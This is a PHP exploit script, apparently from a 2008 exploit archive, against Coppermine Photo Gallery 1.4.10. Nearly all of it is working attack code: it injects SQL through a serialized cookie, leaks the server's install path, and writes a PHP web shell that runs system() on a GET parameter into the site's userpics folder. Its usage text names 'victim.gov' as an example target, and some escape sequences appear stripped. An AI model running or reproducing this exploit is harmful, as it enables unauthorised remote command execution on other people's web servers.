<?php
#####################################
# Coppermine gallery SQL injection exploit
# based on RST/GHC bugs
# Author: bazik, icq 178377
#####################################
error_reporting(0);
class cpg1410_xek {
   public $GLOBALS = array();
 
   function prepareExp($sql) {
      $a1 = '1) UNION SELECT ' . $this->toHex($sql) . ', ' . $this->toHex('bazik') . ' LIMIT 1,1/*';
      $b1 = 'bazik';
      $a2 = $sql;
      $b2 = 'bazik';
      $arr = array($a1 => $b1, $a2 => $b2);
      return $this->GLOBALS['prefix'] . '_albpw=' . rawurlencode(serialize($arr));
   }
 
   function toHex($str) {
      for ($i=0; $i < strlen($str); $i++)
         $result .= sprintf("%X", ord($str[$i]));
      return "0x" . $result;
   }
 
   function sendQuery($out) {
      $fp = fsockopen($this->GLOBALS['host'], 80, $errno, $errstr, 30);
      if(!$fp)
         die("[-] Can't connect to " . $this->GLOBALS['host'] . " ...nn");
      else {
         fwrite($fp, $out);
         while(!feof($fp))
            $str .= fgets($fp, 128);
         fclose($fp);
         return $str;
      }
   }
 
   function getCookiePrefix() {
      $out  = "HEAD " . $this->GLOBALS['path'] . "thumbnails.php?album=" . $this->GLOBALS['albumId'] . " HTTP/1.1rn";
      $out .= "Host: " . $this->GLOBALS['host'] . "rn";
      $out .= "Connection: Closernrn";
      preg_match_all('!Set-Cookie:.+(.+)_data=.+!Uim', $this->sendQuery($out), $result);
      return $result[1][0];
   }
 
   function getPathToShell() {
      $out  = "GET " . $this->GLOBALS['path'] . "/themes/sample/theme.php HTTP/1.1rn";
      $out .= "Host: " . $this->GLOBALS['host'] . "rn";
      $out .= "Connection: Closernrn";
      preg_match_all('!ins(.+).{1}themes.{1}sample.{1}theme.php!Uim', $this->sendQuery($out), $result);
      $str = strip_tags($result[1][0]);
      return str_replace("\", "/", $str);
   }
 
   function getShell() {
      $sql = $this->GLOBALS['albumID'] . ') UNION SELECT ' . $this->toHex('<pre><?system($_GET['a']);?></pre>') . ' INTO OUTFILE '' . $this->GLOBALS['pathToShell'] . '/albums/userpics/shell.php'/*';
      $out  = "GET " . $this->GLOBALS['path'] . "thumbnails.php?album=" . $this->GLOBALS['albumID'] . " HTTP/1.1rn";
      $out .= "Host: " . $this->GLOBALS['host'] . "rn";
      $out .= "Accept-Language: rurn";
      $out .= "Cookie: " . $this->prepareExp($sql) . "rn";
      $out .= "Connection: Closernrn";
      $this->sendQuery($out);
   }
 
   function hat() {
      echo "n## Coppermine SQL injection exploitn";
      echo "## Vulnerable: CPG 1.4.10 stablenn";
      echo "## THIS IS UNPUBLISHED EXPLOIT CODEn";
      echo "## KEEP IT PRIVATEnn";
   }
 
   function foot() {
      echo "## (c)oded by bazikn";
      echo "## 20/01/2008n";
   }
}
 
$exp = new cpg1410_xek();
 
if ($argc != 4) {
   $exp->hat();
   echo "For example:nn";
   echo "   php cpg1410_xek.php [url] [path] [albumID]nn";
   echo "      [url]     = http://www.victim.govn";
   echo "      [path]    = cpg1410\n";
   echo "      [albumID] = 1nnn";
   $exp->foot();
} else {
   $exp->hat();
 
   preg_match("/^(http://)?([^/]+)/i", $argv[1], $matches);
   $exp->GLOBALS['host']    = $matches[2];
   $exp->GLOBALS['path']    = $argv[2];
   $exp->GLOBALS['albumID'] = intval($argv[3]);
   $exp->GLOBALS['prefix']  = $exp->getCookiePrefix();
   $exp->GLOBALS['pathToShell']  = $exp->getPathToShell();
 
   if(empty($exp->GLOBALS['prefix']))
      echo "[-] Can't get cookie prefix ...nn";
   else
      echo "[+] Cookie prefix: " . $exp->GLOBALS['prefix'] . "n";
 
   if(empty($exp->GLOBALS['pathToShell']))
      echo "[-] Can't recognize full path ...nn";
   else {
      echo "[+] Full path: " . $exp->GLOBALS['pathToShell'] . "nn";
      $exp->getShell();
      $url = 'http://' . $exp->GLOBALS['host'] . $exp->GLOBALS['path'] . 'albums/userpics/shell.php';
      if (file_get_contents($url))
         echo "   Web-shell: " . $url . "nn";
      else
         echo "[-] Can't create web-shell ...nn";
   }
 
   $exp->foot();
}
?>

# www.Syue.com [2008-01-21]